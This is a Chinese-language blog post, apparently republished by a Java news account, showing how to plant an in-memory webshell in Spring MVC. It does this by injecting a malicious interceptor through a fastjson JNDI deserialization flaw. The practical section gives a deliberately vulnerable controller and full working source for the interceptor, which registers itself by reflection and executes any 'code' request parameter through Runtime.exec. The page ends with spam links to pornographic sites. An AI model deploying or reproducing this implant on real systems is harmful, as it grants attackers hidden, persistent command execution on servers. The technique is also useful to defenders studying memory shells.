<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          想不到!Spring MVC 攔截器也有漏洞。。

          共 6529字,需瀏覽 14分鐘

           ·

          2022-01-23 14:52

          點(diǎn)擊關(guān)注公眾號(hào),Java干貨及時(shí)送達(dá)

          1 基礎(chǔ)攔截器和調(diào)用流程的探索

          學(xué)習(xí)、探索和實(shí)現(xiàn)過(guò)程很多都基于大佬的文章:

          https://landgrey.me/blog/19/

          https://landgrey.me/blog/12/

          1.1 基礎(chǔ)攔截器

          前不久實(shí)現(xiàn)cotroller內(nèi)存馬能添加冰蝎代碼后,又想到spring mvc的攔截器應(yīng)該也可以用于注入內(nèi)存馬,目前的關(guān)鍵點(diǎn)在于找到攔截器是如何被觸發(fā)以及如何動(dòng)態(tài)添加攔截器

          首先來(lái)寫(xiě)個(gè)正常的攔截器TestInterceptor類(lèi),并添加xml配置

          然后啟動(dòng)程序,在訪問(wèn)/home/index,并添加code參數(shù)彈個(gè)計(jì)算器

          1.2 探索攔截器的調(diào)用鏈

          斷點(diǎn)打在TestInterceptor類(lèi)中,調(diào)試看看調(diào)用鏈

          preHandle:31,?TestInterceptor?(bitterz.interceptors)
          applyPreHandle:134,?HandlerExecutionChain?(org.springframework.web.servlet)
          doDispatch:956,?DispatcherServlet?(org.springframework.web.servlet)
          doService:895,?DispatcherServlet?(org.springframework.web.servlet)
          processRequest:967,?FrameworkServlet?(org.springframework.web.servlet)
          doGet:858,?FrameworkServlet?(org.springframework.web.servlet)
          service:621,?HttpServlet?(javax.servlet.http)
          service:843,?FrameworkServlet?(org.springframework.web.servlet)
          service:728,?HttpServlet?(javax.servlet.http)
          internalDoFilter:305,?ApplicationFilterChain?(org.apache.catalina.core)
          doFilter:210,?ApplicationFilterChain?(org.apache.catalina.core)
          invoke:222,?StandardWrapperValve?(org.apache.catalina.core)
          invoke:123,?StandardContextValve?(org.apache.catalina.core)
          invoke:472,?AuthenticatorBase?(org.apache.catalina.authenticator)
          invoke:171,?StandardHostValve?(org.apache.catalina.core)
          invoke:99,?ErrorReportValve?(org.apache.catalina.valves)
          invoke:947,?AccessLogValve?(org.apache.catalina.valves)
          invoke:118,?StandardEngineValve?(org.apache.catalina.core)
          service:408,?CoyoteAdapter?(org.apache.catalina.connector)
          process:1009,?AbstractHttp11Processor?(org.apache.coyote.http11)
          process:589,?AbstractProtocol$AbstractConnectionHandler?(org.apache.coyote)
          run:312,?JIoEndpoint$SocketProcessor?(org.apache.tomcat.util.net)
          runWorker:1142,?ThreadPoolExecutor?(java.util.concurrent)
          run:617,?ThreadPoolExecutor$Worker?(java.util.concurrent)
          run:745,?Thread?(java.lang)

          推薦一個(gè) Spring Boot 基礎(chǔ)教程及實(shí)戰(zhàn)示例:
          https://github.com/javastacks/spring-boot-best-practice

          關(guān)鍵點(diǎn)在doDispatch方法,先通過(guò)getHandler方法獲取了mappedHandler對(duì)象

          在后方調(diào)用mappedHandler的applyPreHandler方法

          這個(gè)方法中就是依次調(diào)用每個(gè)interceptor實(shí)例的preHandle方法,實(shí)際上就進(jìn)入了前面寫(xiě)好的TestInterceptor類(lèi)的preHandle方法中。

          1.3 探索攔截器是如何被添加的

          跟蹤mappedHandler的獲取過(guò)程,先是調(diào)用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

          跟進(jìn)getHandler方法,這里會(huì)遍歷this.handlerMappings,獲取HandlerMapping的實(shí)例,再調(diào)用getHandler方法

          這里斷點(diǎn)跟進(jìn)getHandler函數(shù)處,會(huì)發(fā)現(xiàn)實(shí)際上調(diào)用了org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)中的getHandler方法。最新面試題整理好了,點(diǎn)擊Java面試庫(kù)小程序在線刷題。

          再跟進(jìn)getHandlerExecutionChain方法,發(fā)現(xiàn)其中會(huì)遍歷adaptedInterceptors這數(shù)組,并判斷獲取的interceptor實(shí)例是不是MappedInterceptor類(lèi)的實(shí)例對(duì)象,而MappedInterceptor類(lèi)就是對(duì)攔截器HandlerInterceptor接口的實(shí)現(xiàn),所以前面定義的TestInterceptor自然會(huì)被加入chain中并返回

          至此,攔截器的加載和調(diào)用流程就清楚了, 動(dòng)態(tài)添加攔截器的話,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)的實(shí)例對(duì)象的adaptedInterceptors數(shù)組中添加惡意interceptor實(shí)例對(duì)象即可!

          那么關(guān)鍵就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)的實(shí)例對(duì)象,CTRL+ALT+B找到所有AbstractHandlerMapping的子類(lèi),并在beanFactory的beanDefinitionNames中找到它的實(shí)例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

          因此可以通過(guò)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")獲取該對(duì)象,再反射獲取其中的adaptedInterceptors屬性,并添加惡意interceptor實(shí)例對(duì)象即可完成內(nèi)存馬的注入。

          點(diǎn)擊關(guān)注公眾號(hào),Java干貨及時(shí)送達(dá)

          2 實(shí)踐

          首先用springmvc 寫(xiě)了一個(gè)包含fastjson的反序列化漏洞的controller.

          推薦一個(gè) Spring Boot 基礎(chǔ)教程及實(shí)戰(zhàn)示例:https://github.com/javastacks/spring-boot-best-practice

          ????@RequestMapping(value?=?"/postjson",?method?=?RequestMethod.GET)
          ????public?String?postJson(HttpServletRequest?request){
          ????????return?"postjson";
          ????}

          ????@RequestMapping(value?=?"/readjson",?method?=?RequestMethod.POST)
          ????public?String?readJson(HttpServletRequest?request){
          ????????String?jsonStr?=?request.getParameter("jsonstr");
          ????????System.out.println(jsonStr);??//?在控制臺(tái)輸出jsonStr

          ????????Object?obj?=?JSON.parseObject(jsonStr);
          ????????System.out.println(obj);?//?等同于數(shù)據(jù)操作

          ????????return?"readjson";??//?返回一個(gè)頁(yè)面給用戶(hù)
          ????}

          訪問(wèn)/postjson,并提交payload,而payload會(huì)發(fā)送到/readjson處,被fastjson反序列化,觸發(fā)JNDI注入造成內(nèi)存馬的注入。首先開(kāi)啟LDAP和python服務(wù),編譯惡意Interceptor類(lèi)

          惡意Interceptor類(lèi)源代碼如下

          import?org.springframework.web.context.WebApplicationContext;
          import?org.springframework.web.context.request.RequestContextHolder;
          import?org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
          import?javax.servlet.http.HttpServletRequest;
          import?javax.servlet.http.HttpServletResponse;
          public?class?TestInterceptor?extends?HandlerInterceptorAdapter?{
          ????public?TestInterceptor()?throws?NoSuchFieldException,?IllegalAccessException,?InstantiationException?{
          ????????//?獲取context
          ????????WebApplicationContext?context?=?(WebApplicationContext)?RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);
          ????????//?從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象
          ????????org.springframework.web.servlet.handler.AbstractHandlerMapping?abstractHandlerMapping?=?(org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
          ????????//?反射獲取adaptedInterceptors屬性
          ????????java.lang.reflect.Field?field?=?org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
          ????????field.setAccessible(true);
          ????????java.util.ArrayList?adaptedInterceptors?=?(java.util.ArrayList)field.get(abstractHandlerMapping);
          ????????//?避免重復(fù)添加
          ????????for?(int?i?=?adaptedInterceptors.size()?-?1;?i?>?0;?i--)?{
          ????????????if?(adaptedInterceptors.get(i)?instanceof?TestInterceptor)?{
          ????????????????System.out.println("已經(jīng)添加過(guò)TestInterceptor實(shí)例了");
          ????????????????return;
          ????????????}
          ????????}
          ????????TestInterceptor?aaa?=?new?TestInterceptor("aaa");??//?避免進(jìn)入實(shí)例創(chuàng)建的死循環(huán)
          ????????adaptedInterceptors.add(aaa);??//??添加全局interceptor
          ????}

          ????private?TestInterceptor(String?aaa){}

          ????@Override
          ????public?boolean?preHandle(HttpServletRequest?request,?HttpServletResponse?response,?Object?handler)?throws?Exception?{
          ????????String?code?=?request.getParameter("code");
          ????????//?不干擾正常業(yè)務(wù)邏輯
          ????????if?(code?!=?null)?{
          ????????????java.lang.Runtime.getRuntime().exec(code);
          ????????????return?true;
          ????????}
          ????????else?{
          ????????????return?true;
          ????????}}}

          這里提交兩次payload是為了確認(rèn):不重復(fù)添加interceptor的代碼生效了

          可見(jiàn)Interceptor內(nèi)存馬已經(jīng)注入了,現(xiàn)在彈個(gè)計(jì)算器驗(yàn)證一下


          作者:bitterz
          地址:https://www.cnblogs.com/bitterz/








          微信官宣:一大波新年紅包封面來(lái)了!
          2021 年發(fā)生的 10 件技術(shù)大事!!
          23 種設(shè)計(jì)模式實(shí)戰(zhàn)(很全)
          Log4j2 漏洞之 JNDI 到底是個(gè)什么鬼?
          炸了!Log4j2 再爆漏洞。。
          勁爆!Java 協(xié)程要來(lái)了!
          重磅官宣:Redis 對(duì)象映射框架來(lái)了?。?/a>
          推薦一款代碼神器,代碼量至少省一半!
          程序員精通各種技術(shù)體系,45歲求職難!
          重磅!Spring Boot 2.6 正式發(fā)布
          Spring Boot 學(xué)習(xí)筆記,這個(gè)太全了!



          關(guān)注Java技術(shù)??锤喔韶?/strong>



          獲取 Spring Boot 實(shí)戰(zhàn)筆記!
          瀏覽 56
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                    <th id="afajh"><progress id="afajh"></progress></th>
                    影音先锋麻豆传媒 | 北条麻妃av在线播放 | 黄色激情视频在线观看 | 成人A片视频网站 | 18禁免费网址 |